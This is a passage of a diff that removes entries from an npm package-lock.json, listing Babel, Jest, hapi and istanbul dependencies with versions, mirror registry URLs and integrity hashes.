-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-react-jsx-development/download/@babel/plugin-transform-react-jsx-development-7.12.17.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-react-jsx-development%2Fdownload%2F%40babel%2Fplugin-transform-react-jsx-development-7.12.17.tgz",
-      "integrity": "sha1-9RDA+nzXI0FTU5+aNiztQaXKFEc=",
-      "requires": {
-        "@babel/plugin-transform-react-jsx": "^7.12.17"
-      }
-    },
-    "@babel/plugin-transform-react-jsx-self": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-react-jsx-self/download/@babel/plugin-transform-react-jsx-self-7.12.13.tgz",
-      "integrity": "sha1-Qi2Z0SLVkqyrnDXqIqbP2b8Yn2A=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-react-jsx-source": {
-      "version": "7.14.2",
-      "resolved": "https://registry.nlark.com/@babel/plugin-transform-react-jsx-source/download/@babel/plugin-transform-react-jsx-source-7.14.2.tgz?cache=0&sync_timestamp=1620839450233&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-react-jsx-source%2Fdownload%2F%40babel%2Fplugin-transform-react-jsx-source-7.14.2.tgz",
-      "integrity": "sha1-JiC1fn3ndcBof2XUZAJtFYEpQdo=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0"
-      }
-    },
-    "@babel/plugin-transform-react-pure-annotations": {
-      "version": "7.12.1",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-react-pure-annotations/download/@babel/plugin-transform-react-pure-annotations-7.12.1.tgz",
-      "integrity": "sha1-BdRvCrTRM5rFmt8goUYskbN6GkI=",
-      "requires": {
-        "@babel/helper-annotate-as-pure": "^7.10.4",
-        "@babel/helper-plugin-utils": "^7.10.4"
-      }
-    },
-    "@babel/plugin-transform-regenerator": {
-      "version": "7.13.15",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-regenerator/download/@babel/plugin-transform-regenerator-7.13.15.tgz?cache=0&sync_timestamp=1617897172824&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-regenerator%2Fdownload%2F%40babel%2Fplugin-transform-regenerator-7.13.15.tgz",
-      "integrity": "sha1-5esolFv4tlY+f4GJRflmqNKZfzk=",
-      "requires": {
-        "regenerator-transform": "^0.14.2"
-      }
-    },
-    "@babel/plugin-transform-reserved-words": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-reserved-words/download/@babel/plugin-transform-reserved-words-7.12.13.tgz",
-      "integrity": "sha1-fZmI1PBuD+aX6h2YAxiKoYtHJpU=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-runtime": {
-      "version": "7.12.1",
-      "resolved": "https://registry.nlark.com/@babel/plugin-transform-runtime/download/@babel/plugin-transform-runtime-7.12.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-runtime%2Fdownload%2F%40babel%2Fplugin-transform-runtime-7.12.1.tgz",
-      "integrity": "sha1-BLeSBX60YDif9qQZjjd2FOoee6U=",
-      "requires": {
-        "@babel/helper-module-imports": "^7.12.1",
-        "@babel/helper-plugin-utils": "^7.10.4",
-        "resolve": "^1.8.1",
-        "semver": "^5.5.1"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.nlark.com/semver/download/semver-5.7.1.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-5.7.1.tgz",
-          "integrity": "sha1-qVT5Ma66UI0we78Gnv8MAclhFvc="
-        }
-      }
-    },
-    "@babel/plugin-transform-shorthand-properties": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-shorthand-properties/download/@babel/plugin-transform-shorthand-properties-7.12.13.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-shorthand-properties%2Fdownload%2F%40babel%2Fplugin-transform-shorthand-properties-7.12.13.tgz",
-      "integrity": "sha1-23VXMrcMU51QTGOQ2c6Q/mSv960=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-spread": {
-      "version": "7.13.0",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-spread/download/@babel/plugin-transform-spread-7.13.0.tgz",
-      "integrity": "sha1-hIh3EOJzwYFaznrkWfb0Kl0x1f0=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1"
-      }
-    },
-    "@babel/plugin-transform-sticky-regex": {
-      "version": "7.12.13",
-      "resolved": "https://registry.nlark.com/@babel/plugin-transform-sticky-regex/download/@babel/plugin-transform-sticky-regex-7.12.13.tgz",
-      "integrity": "sha1-dg/9k2+s5z+GCuZG+4bugvPQbR8=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-template-literals": {
-      "version": "7.13.0",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-template-literals/download/@babel/plugin-transform-template-literals-7.13.0.tgz",
-      "integrity": "sha1-o2BJEnl3rZRDje50Q1mNHO/fQJ0=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0"
-      }
-    },
-    "@babel/plugin-transform-typeof-symbol": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-typeof-symbol/download/@babel/plugin-transform-typeof-symbol-7.12.13.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-typeof-symbol%2Fdownload%2F%40babel%2Fplugin-transform-typeof-symbol-7.12.13.tgz",
-      "integrity": "sha1-eF3Weh8upXnZwr5yLejITLhfWn8=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-typescript": {
-      "version": "7.14.4",
-      "resolved": "https://registry.nlark.com/@babel/plugin-transform-typescript/download/@babel/plugin-transform-typescript-7.14.4.tgz",
-      "integrity": "sha1-HEiCn6bV8t5kYGDNCKu2zaS1Iac=",
-      "requires": {
-        "@babel/helper-create-class-features-plugin": "^7.14.4",
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/plugin-syntax-typescript": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-unicode-escapes": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-unicode-escapes/download/@babel/plugin-transform-unicode-escapes-7.12.13.tgz",
-      "integrity": "sha1-hAztO4FtO1En3R0S3O3F3q0aXnQ=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-unicode-regex": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-unicode-regex/download/@babel/plugin-transform-unicode-regex-7.12.13.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-unicode-regex%2Fdownload%2F%40babel%2Fplugin-transform-unicode-regex-7.12.13.tgz",
-      "integrity": "sha1-tSUhaFgE4VWxIC6D/BiNNLtw9aw=",
-      "requires": {
-        "@babel/helper-create-regexp-features-plugin": "^7.12.13",
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/preset-env": {
-      "version": "7.14.4",
-      "resolved": "https://registry.nlark.com/@babel/preset-env/download/@babel/preset-env-7.14.4.tgz",
-      "integrity": "sha1-c/wyKMWXJ+XpdDGRVvME8NZoWi0=",
-      "requires": {
-        "@babel/compat-data": "^7.14.4",
-        "@babel/helper-compilation-targets": "^7.14.4",
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/helper-validator-option": "^7.12.17",
-        "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.13.12",
-        "@babel/plugin-proposal-async-generator-functions": "^7.14.2",
-        "@babel/plugin-proposal-class-properties": "^7.13.0",
-        "@babel/plugin-proposal-class-static-block": "^7.14.3",
-        "@babel/plugin-proposal-dynamic-import": "^7.14.2",
-        "@babel/plugin-proposal-export-namespace-from": "^7.14.2",
-        "@babel/plugin-proposal-json-strings": "^7.14.2",
-        "@babel/plugin-proposal-logical-assignment-operators": "^7.14.2",
-        "@babel/plugin-proposal-nullish-coalescing-operator": "^7.14.2",
-        "@babel/plugin-proposal-numeric-separator": "^7.14.2",
-        "@babel/plugin-proposal-object-rest-spread": "^7.14.4",
-        "@babel/plugin-proposal-optional-catch-binding": "^7.14.2",
-        "@babel/plugin-proposal-optional-chaining": "^7.14.2",
-        "@babel/plugin-proposal-private-methods": "^7.13.0",
-        "@babel/plugin-proposal-private-property-in-object": "^7.14.0",
-        "@babel/plugin-proposal-unicode-property-regex": "^7.12.13",
-        "@babel/plugin-syntax-async-generators": "^7.8.4",
-        "@babel/plugin-syntax-class-properties": "^7.12.13",
-        "@babel/plugin-syntax-class-static-block": "^7.12.13",
-        "@babel/plugin-syntax-dynamic-import": "^7.8.3",
-        "@babel/plugin-syntax-export-namespace-from": "^7.8.3",
-        "@babel/plugin-syntax-json-strings": "^7.8.3",
-        "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4",
-        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3",
-        "@babel/plugin-syntax-numeric-separator": "^7.10.4",
-        "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
-        "@babel/plugin-syntax-optional-catch-binding": "^7.8.3",
-        "@babel/plugin-syntax-optional-chaining": "^7.8.3",
-        "@babel/plugin-syntax-private-property-in-object": "^7.14.0",
-        "@babel/plugin-syntax-top-level-await": "^7.12.13",
-        "@babel/plugin-transform-arrow-functions": "^7.13.0",
-        "@babel/plugin-transform-async-to-generator": "^7.13.0",
-        "@babel/plugin-transform-block-scoped-functions": "^7.12.13",
-        "@babel/plugin-transform-block-scoping": "^7.14.4",
-        "@babel/plugin-transform-classes": "^7.14.4",
-        "@babel/plugin-transform-computed-properties": "^7.13.0",
-        "@babel/plugin-transform-destructuring": "^7.14.4",
-        "@babel/plugin-transform-dotall-regex": "^7.12.13",
-        "@babel/plugin-transform-duplicate-keys": "^7.12.13",
-        "@babel/plugin-transform-exponentiation-operator": "^7.12.13",
-        "@babel/plugin-transform-for-of": "^7.13.0",
-        "@babel/plugin-transform-function-name": "^7.12.13",
-        "@babel/plugin-transform-literals": "^7.12.13",
-        "@babel/plugin-transform-member-expression-literals": "^7.12.13",
-        "@babel/plugin-transform-modules-amd": "^7.14.2",
-        "@babel/plugin-transform-modules-commonjs": "^7.14.0",
-        "@babel/plugin-transform-modules-systemjs": "^7.13.8",
-        "@babel/plugin-transform-modules-umd": "^7.14.0",
-        "@babel/plugin-transform-named-capturing-groups-regex": "^7.12.13",
-        "@babel/plugin-transform-new-target": "^7.12.13",
-        "@babel/plugin-transform-object-super": "^7.12.13",
-        "@babel/plugin-transform-parameters": "^7.14.2",
-        "@babel/plugin-transform-property-literals": "^7.12.13",
-        "@babel/plugin-transform-regenerator": "^7.13.15",
-        "@babel/plugin-transform-reserved-words": "^7.12.13",
-        "@babel/plugin-transform-shorthand-properties": "^7.12.13",
-        "@babel/plugin-transform-spread": "^7.13.0",
-        "@babel/plugin-transform-sticky-regex": "^7.12.13",
-        "@babel/plugin-transform-template-literals": "^7.13.0",
-        "@babel/plugin-transform-typeof-symbol": "^7.12.13",
-        "@babel/plugin-transform-unicode-escapes": "^7.12.13",
-        "@babel/plugin-transform-unicode-regex": "^7.12.13",
-        "@babel/preset-modules": "^0.1.4",
-        "@babel/types": "^7.14.4",
-        "babel-plugin-polyfill-corejs2": "^0.2.0",
-        "babel-plugin-polyfill-corejs3": "^0.2.0",
-        "babel-plugin-polyfill-regenerator": "^0.2.0",
-        "core-js-compat": "^3.9.0",
-        "semver": "^6.3.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "6.3.0",
-          "resolved": "https://registry.nlark.com/semver/download/semver-6.3.0.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-6.3.0.tgz",
-          "integrity": "sha1-7gpkyK9ejO6mdoexM3YeG+y9HT0="
-        }
-      }
-    },
-    "@babel/preset-modules": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npm.taobao.org/@babel/preset-modules/download/@babel/preset-modules-0.1.4.tgz",
-      "integrity": "sha1-Ni8raMZihClw/bXiVP/I/BwuQV4=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.0.0",
-        "@babel/plugin-proposal-unicode-property-regex": "^7.4.4",
-        "@babel/plugin-transform-dotall-regex": "^7.4.4",
-        "@babel/types": "^7.4.4",
-        "esutils": "^2.0.2"
-      }
-    },
-    "@babel/preset-react": {
-      "version": "7.13.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/preset-react/download/@babel/preset-react-7.13.13.tgz?cache=0&sync_timestamp=1616801331588&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fpreset-react%2Fdownload%2F%40babel%2Fpreset-react-7.13.13.tgz",
-      "integrity": "sha1-+miVqWxQdj/mk/kUhWhFjVqDl2E=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/helper-validator-option": "^7.12.17",
-        "@babel/plugin-transform-react-display-name": "^7.12.13",
-        "@babel/plugin-transform-react-jsx": "^7.13.12",
-        "@babel/plugin-transform-react-jsx-development": "^7.12.17",
-        "@babel/plugin-transform-react-pure-annotations": "^7.12.1"
-      }
-    },
-    "@babel/preset-typescript": {
-      "version": "7.12.1",
-      "resolved": "https://registry.nlark.com/@babel/preset-typescript/download/@babel/preset-typescript-7.12.1.tgz?cache=0&sync_timestamp=1618847033600&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fpreset-typescript%2Fdownload%2F%40babel%2Fpreset-typescript-7.12.1.tgz",
-      "integrity": "sha1-hkgLSDu5f3UDbohk/kBMx4LMMRs=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.10.4",
-        "@babel/plugin-transform-typescript": "^7.12.1"
-      }
-    },
-    "@babel/runtime": {
-      "version": "7.14.0",
-      "resolved": "https://registry.nlark.com/@babel/runtime/download/@babel/runtime-7.14.0.tgz?cache=0&sync_timestamp=1619727528467&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fruntime%2Fdownload%2F%40babel%2Fruntime-7.14.0.tgz",
-      "integrity": "sha1-RnlLwgthLF915i3QceJN/ZXxy+Y=",
-      "requires": {
-        "regenerator-runtime": "^0.13.4"
-      }
-    },
-    "@babel/runtime-corejs3": {
-      "version": "7.14.0",
-      "resolved": "https://registry.nlark.com/@babel/runtime-corejs3/download/@babel/runtime-corejs3-7.14.0.tgz",
-      "integrity": "sha1-a/X7wLlh+OMgKIjLLND7egqaP2Y=",
-      "requires": {
-        "core-js-pure": "^3.0.0",
-        "regenerator-runtime": "^0.13.4"
-      }
-    },
-    "@babel/template": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/template/download/@babel/template-7.12.13.tgz",
-      "integrity": "sha1-UwJlvooliduzdSOETFvLVZR/syc=",
-      "requires": {
-        "@babel/code-frame": "^7.12.13",
-        "@babel/parser": "^7.12.13",
-        "@babel/types": "^7.12.13"
-      }
-    },
-    "@babel/traverse": {
-      "version": "7.14.2",
-      "resolved": "https://registry.nlark.com/@babel/traverse/download/@babel/traverse-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Ftraverse%2Fdownload%2F%40babel%2Ftraverse-7.14.2.tgz",
-      "integrity": "sha1-kgGo2RJyOoMcJnnH678v4UFtdls=",
-      "requires": {
-        "@babel/code-frame": "^7.12.13",
-        "@babel/generator": "^7.14.2",
-        "@babel/helper-function-name": "^7.14.2",
-        "@babel/helper-split-export-declaration": "^7.12.13",
-        "@babel/parser": "^7.14.2",
-        "@babel/types": "^7.14.2",
-        "debug": "^4.1.0",
-        "globals": "^11.1.0"
-      }
-    },
-    "@babel/types": {
-      "version": "7.14.4",
-      "resolved": "https://registry.nlark.com/@babel/types/download/@babel/types-7.14.4.tgz?cache=0&sync_timestamp=1622221256190&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Ftypes%2Fdownload%2F%40babel%2Ftypes-7.14.4.tgz",
-      "integrity": "sha1-v9aYAQgWhZOziz60iiSqAmuRm8A=",
-      "requires": {
-        "@babel/helper-validator-identifier": "^7.14.0",
-        "to-fast-properties": "^2.0.0"
-      }
-    },
-    "@bcoe/v8-coverage": {
-      "version": "0.2.3",
-      "resolved": "https://registry.npm.taobao.org/@bcoe/v8-coverage/download/@bcoe/v8-coverage-0.2.3.tgz",
-      "integrity": "sha1-daLotRy3WKdVPWgEpZMteqznXDk="
-    },
-    "@cnakazawa/watch": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npm.taobao.org/@cnakazawa/watch/download/@cnakazawa/watch-1.0.4.tgz",
-      "integrity": "sha1-+GSuhQBND8q29QvpFBxNo2jRZWo=",
-      "requires": {
-        "exec-sh": "^0.3.2",
-        "minimist": "^1.2.0"
-      }
-    },
-    "@csstools/convert-colors": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npm.taobao.org/@csstools/convert-colors/download/@csstools/convert-colors-1.4.0.tgz",
-      "integrity": "sha1-rUldxBsS511YjG24uYNPCPoTHrc="
-    },
-    "@csstools/normalize.css": {
-      "version": "10.1.0",
-      "resolved": "https://registry.npm.taobao.org/@csstools/normalize.css/download/@csstools/normalize.css-10.1.0.tgz",
-      "integrity": "sha1-8JULuhiBlRLUL3GX5WxRiqSRzxg="
-    },
-    "@eslint/eslintrc": {
-      "version": "0.4.2",
-      "resolved": "https://registry.nlark.com/@eslint/eslintrc/download/@eslint/eslintrc-0.4.2.tgz?cache=0&sync_timestamp=1622845296796&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40eslint%2Feslintrc%2Fdownload%2F%40eslint%2Feslintrc-0.4.2.tgz",
-      "integrity": "sha1-9j0O8G9cDFfXbEq19j04NcUbAXk=",
-      "requires": {
-        "ajv": "^6.12.4",
-        "debug": "^4.1.1",
-        "espree": "^7.3.0",
-        "globals": "^13.9.0",
-        "ignore": "^4.0.6",
-        "import-fresh": "^3.2.1",
-        "js-yaml": "^3.13.1",
-        "minimatch": "^3.0.4",
-        "strip-json-comments": "^3.1.1"
-      },
-      "dependencies": {
-        "globals": {
-          "version": "13.9.0",
-          "resolved": "https://registry.nlark.com/globals/download/globals-13.9.0.tgz?cache=0&sync_timestamp=1622088036473&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fglobals%2Fdownload%2Fglobals-13.9.0.tgz",
-          "integrity": "sha1-S/K/Y1szShc/sdr3xeayGOzcBss=",
-          "requires": {
-            "type-fest": "^0.20.2"
-          }
-        },
-        "ignore": {
-          "version": "4.0.6",
-          "resolved": "https://registry.npm.taobao.org/ignore/download/ignore-4.0.6.tgz",
-          "integrity": "sha1-dQ49tYYgh7RzfrrIIH/9HvJ7Jfw="
-        }
-      }
-    },
-    "@hapi/address": {
-      "version": "2.1.4",
-      "resolved": "https://registry.npm.taobao.org/@hapi/address/download/@hapi/address-2.1.4.tgz",
-      "integrity": "sha1-XWftQ/P9QaadS5/3tW58DR0KgeU="
-    },
-    "@hapi/bourne": {
-      "version": "1.3.2",
-      "resolved": "https://registry.npm.taobao.org/@hapi/bourne/download/@hapi/bourne-1.3.2.tgz",
-      "integrity": "sha1-CnCVreoGckPOMoPhtWuKj0U7JCo="
-    },
-    "@hapi/hoek": {
-      "version": "8.5.1",
-      "resolved": "https://registry.npm.taobao.org/@hapi/hoek/download/@hapi/hoek-8.5.1.tgz?cache=0&sync_timestamp=1618694827665&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40hapi%2Fhoek%2Fdownload%2F%40hapi%2Fhoek-8.5.1.tgz",
-      "integrity": "sha1-/elgZMpEbeyMVajC8TCVewcMbgY="
-    },
-    "@hapi/joi": {
-      "version": "15.1.1",
-      "resolved": "https://registry.npm.taobao.org/@hapi/joi/download/@hapi/joi-15.1.1.tgz",
-      "integrity": "sha1-xnW4pxKW8Cgz+NbSQ7NMV7jOGdc=",
-      "requires": {
-        "@hapi/address": "2.x.x",
-        "@hapi/bourne": "1.x.x",
-        "@hapi/hoek": "8.x.x",
-        "@hapi/topo": "3.x.x"
-      }
-    },
-    "@hapi/topo": {
-      "version": "3.1.6",
-      "resolved": "https://registry.npm.taobao.org/@hapi/topo/download/@hapi/topo-3.1.6.tgz",
-      "integrity": "sha1-aNk1+j6uf91asNf5U/MgXYsr/Ck=",
-      "requires": {
-        "@hapi/hoek": "^8.3.0"
-      }
-    },
-    "@istanbuljs/load-nyc-config": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npm.taobao.org/@istanbuljs/load-nyc-config/download/@istanbuljs/load-nyc-config-1.1.0.tgz",
-      "integrity": "sha1-/T2x1Z7PfPEh6AZQu4ZxL5tV7O0=",
-      "requires": {
-        "camelcase": "^5.3.1",
-        "find-up": "^4.1.0",
-        "get-package-type": "^0.1.0",
-        "js-yaml": "^3.13.1",
-        "resolve-from": "^5.0.0"
-      },
-      "dependencies": {
-        "camelcase": {
-          "version": "5.3.1",
-          "resolved": "https://registry.npm.taobao.org/camelcase/download/camelcase-5.3.1.tgz?cache=0&sync_timestamp=1603921799543&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcamelcase%2Fdownload%2Fcamelcase-5.3.1.tgz",
-          "integrity": "sha1-48mzFWnhBoEd8kL3FXJaH0xJQyA="
-        },
-        "resolve-from": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npm.taobao.org/resolve-from/download/resolve-from-5.0.0.tgz",
-          "integrity": "sha1-w1IlhD3493bfIcV1V7wIfp39/Gk="
-        }
-      }
-    },
-    "@istanbuljs/schema": {
-      "version": "0.1.3",
-      "resolved": "https://registry.npm.taobao.org/@istanbuljs/schema/download/@istanbuljs/schema-0.1.3.tgz",
-      "integrity": "sha1-5F44TkuOwWvOL9kDr3hFD2v37Jg="
-    },
-    "@jest/console": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/@jest/console/download/@jest/console-26.6.2.tgz?cache=0&sync_timestamp=1622290212292&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Fconsole%2Fdownload%2F%40jest%2Fconsole-26.6.2.tgz",
-      "integrity": "sha1-TgS8RkAUNYsDq0k3gF7jagrrmPI=",
-      "requires": {
-        "@jest/types": "^26.6.2",
-        "@types/node": "*",
-        "chalk": "^4.0.0",
-        "jest-message-util": "^26.6.2",
-        "jest-util": "^26.6.2",
-        "slash": "^3.0.0"
-      }
-    },
-    "@jest/core": {
-      "version": "26.6.3",
-      "resolved": "https://registry.nlark.com/@jest/core/download/@jest/core-26.6.3.tgz?cache=0&sync_timestamp=1622709598023&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Fcore%2Fdownload%2F%40jest%2Fcore-26.6.3.tgz",
-      "integrity": "sha1-djn8s4M9dIpGVq2lS94ZMFHkX60=",
-      "requires": {
-        "@jest/console": "^26.6.2",
-        "@jest/reporters": "^26.6.2",
-        "@jest/test-result": "^26.6.2",
-        "@jest/transform": "^26.6.2",
-        "@jest/types": "^26.6.2",
-        "@types/node": "*",
-        "ansi-escapes": "^4.2.1",
-        "chalk": "^4.0.0",
-        "exit": "^0.1.2",
-        "graceful-fs": "^4.2.4",
-        "jest-changed-files": "^26.6.2",
-        "jest-config": "^26.6.3",
-        "jest-haste-map": "^26.6.2",
-        "jest-message-util": "^26.6.2",
-        "jest-regex-util": "^26.0.0",
-        "jest-resolve": "^26.6.2",
-        "jest-resolve-dependencies": "^26.6.3",
-        "jest-runner": "^26.6.3",
-        "jest-runtime": "^26.6.3",
-        "jest-snapshot": "^26.6.2",
-        "jest-util": "^26.6.2",
-        "jest-validate": "^26.6.2",
-        "jest-watcher": "^26.6.2",
-        "micromatch": "^4.0.2",
-        "p-each-series": "^2.1.0",
-        "rimraf": "^3.0.0",
-        "slash": "^3.0.0",
-        "strip-ansi": "^6.0.0"
-      },
-      "dependencies": {
-        "jest-resolve": {
-          "version": "26.6.2",
-          "resolved": "https://registry.nlark.com/jest-resolve/download/jest-resolve-26.6.2.tgz?cache=0&sync_timestamp=1622709020612&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-resolve%2Fdownload%2Fjest-resolve-26.6.2.tgz",
-          "integrity": "sha1-o6sVFyF/RptQTxtWYDxbtUH7tQc=",
-          "requires": {
-            "@jest/types": "^26.6.2",
-            "chalk": "^4.0.0",
-            "graceful-fs": "^4.2.4",
-            "jest-pnp-resolver": "^1.2.2",
-            "jest-util": "^26.6.2",
-            "read-pkg-up": "^7.0.1",
-            "resolve": "^1.18.1",
-            "slash": "^3.0.0"
-          }
-        },
-        "read-pkg": {
-          "version": "5.2.0",
-          "resolved": "https://registry.nlark.com/read-pkg/download/read-pkg-5.2.0.tgz",
-          "integrity": "sha1-e/KVQ4yloz5WzTDgU7NO5yUMk8w=",
-          "requires": {
-            "@types/normalize-package-data": "^2.4.0",
-            "normalize-package-data": "^2.5.0",
-            "parse-json": "^5.0.0",
-            "type-fest": "^0.6.0"
-          },
-          "dependencies": {
-            "type-fest": {
-              "version": "0.6.0",
-              "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.6.0.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.6.0.tgz",
-              "integrity": "sha1-jSojcNPfiG61yQraHFv2GIrPg4s="
-            }
-          }
-        },
-        "read-pkg-up": {
-          "version": "7.0.1",
-          "resolved": "https://registry.npm.taobao.org/read-pkg-up/download/read-pkg-up-7.0.1.tgz?cache=0&sync_timestamp=1616916249599&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fread-pkg-up%2Fdownload%2Fread-pkg-up-7.0.1.tgz",
-          "integrity": "sha1-86YTV1hFlzOuK5VjgFbhhU5+9Qc=",
-          "requires": {
-            "find-up": "^4.1.0",
-            "read-pkg": "^5.2.0",
-            "type-fest": "^0.8.1"
-          }
-        },
-        "type-fest": {
-          "version": "0.8.1",
-          "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.8.1.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.8.1.tgz",
-          "integrity": "sha1-CeJJ696FHTseSNJ8EFREZn8XuD0="
-        }
-      }
-    },
-    "@jest/environment": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/@jest/environment/download/@jest/environment-26.6.2.tgz",
-      "integrity": "sha1-ujZMxy4iHnnMjwqZVVv111d8+Sw=",
-      "requires": {
-        "@jest/fake-timers": "^26.6.2",
-        "@jest/types": "^26.6.2",
-        "@types/node": "*",
-        "jest-mock": "^26.6.2"
-      }
-    },
-    "@jest/fake-timers": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/@jest/fake-timers/download/@jest/fake-timers-26.6.2.tgz",
-      "integrity": "sha1-RZwym89wzuSvTX4/PmeEgSNTWq0=",
-      "requires": {
-        "@jest/types": "^26.6.2",
-        "@sinonjs/fake-timers": "^6.0.1",
-        "@types/node": "*",
-        "jest-message-util": "^26.6.2",
-        "jest-mock": "^26.6.2",
-        "jest-util": "^26.6.2"
-      }
-    },
-    "@jest/globals": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/@jest/globals/download/@jest/globals-26.6.2.tgz",
-      "integrity": "sha1-W2E7eKGqJlWukI66Y4zJaiDfcgo=",
-      "requires": {
-        "@jest/environment": "^26.6.2",
-        "@jest/types": "^26.6.2",
-        "expect": "^26.6.2"
-      }
-    },
-    "@jest/reporters": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/@jest/reporters/download/@jest/reporters-26.6.2.tgz?cache=0&sync_timestamp=1622709021411&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Freporters%2Fdownload%2F%40jest%2Freporters-26.6.2.tgz",
-      "integrity": "sha1-H1GLmWN6Xxgwe9Ps+SdfaIKmZ/Y=",
-      "requires": {
-        "@bcoe/v8-coverage": "^0.2.3",
-        "@jest/console": "^26.6.2",
-        "@jest/test-result": "^26.6.2",
-        "@jest/transform": "^26.6.2",
-        "@jest/types": "^26.6.2",
-        "chalk": "^4.0.0",
-        "collect-v8-coverage": "^1.0.0",
-        "exit": "^0.1.2",
-        "glob": "^7.1.2",
-        "graceful-fs": "^4.2.4",
-        "istanbul-lib-coverage": "^3.0.0",
-        "istanbul-lib-instrument": "^4.0.3",
-        "istanbul-lib-report": "^3.0.0",
-        "istanbul-lib-source-maps": "^4.0.0",
-        "istanbul-reports": "^3.0.2",
-        "jest-haste-map": "^26.6.2",
-        "jest-resolve": "^26.6.2",
-        "jest-util": "^26.6.2",
-        "jest-worker": "^26.6.2",
-        "node-notifier": "^8.0.0",
-        "slash": "^3.0.0",
-        "source-map": "^0.6.0",
-        "string-length": "^4.0.1",
-        "terminal-link": "^2.0.0",
-        "v8-to-istanbul": "^7.0.0"
-      },
-      "dependencies": {
-        "jest-resolve": {
-          "version": "26.6.2",
